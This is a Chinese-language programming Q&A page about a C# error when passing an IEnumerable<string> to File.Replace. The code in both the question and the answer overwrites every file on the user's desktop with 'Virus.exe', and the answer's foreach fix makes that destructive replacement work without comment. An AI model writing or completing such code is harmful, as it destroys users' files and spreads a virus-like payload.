您可以将 IE枚举字符串转换为普通字符串吗?

本文关键字:字符串 转换 IE 枚举 | 更新日期: 2023-09-27 18:37:07

我正在使用它来查找和替换exe文件

public static void Replace()
{
    string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file
    IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files
    string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary)
    File.Replace (origFile, toOverwrite, backupFile); //replaces files
}
public static IEnumerable<string> EnumerateFiles()
{
    string pathToSearch = Environment.GetFolderPath (Environment.SpecialFolder.DesktopDirectory); //Sets search directory to the desktop
    IEnumerable<string> exeFiles = Directory.EnumerateFiles (pathToSearch); //Searches desktop for all exe files
    return exeFiles; //Returns enumerated list of files
}

但是当我执行 File.Replace 方法时,它告诉我无法将 IEnumerable 字符串转换为普通字符串。如何在不更改值的情况下更改字符串类型?

您可以将 IE枚举字符串转换为普通字符串吗?

那是因为IEnumeable是一堆字符串。File.Replace 需要一个字符串。你想做的事情没有意义。我怀疑您需要遍历覆盖集合中的文件

public static void Replace()
        {
            string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file
            IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files
            string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary)
           foreach(var file in toOverwrite)
          {
              File.Replace (origFile, file, backupFile); //replaces files
          }
}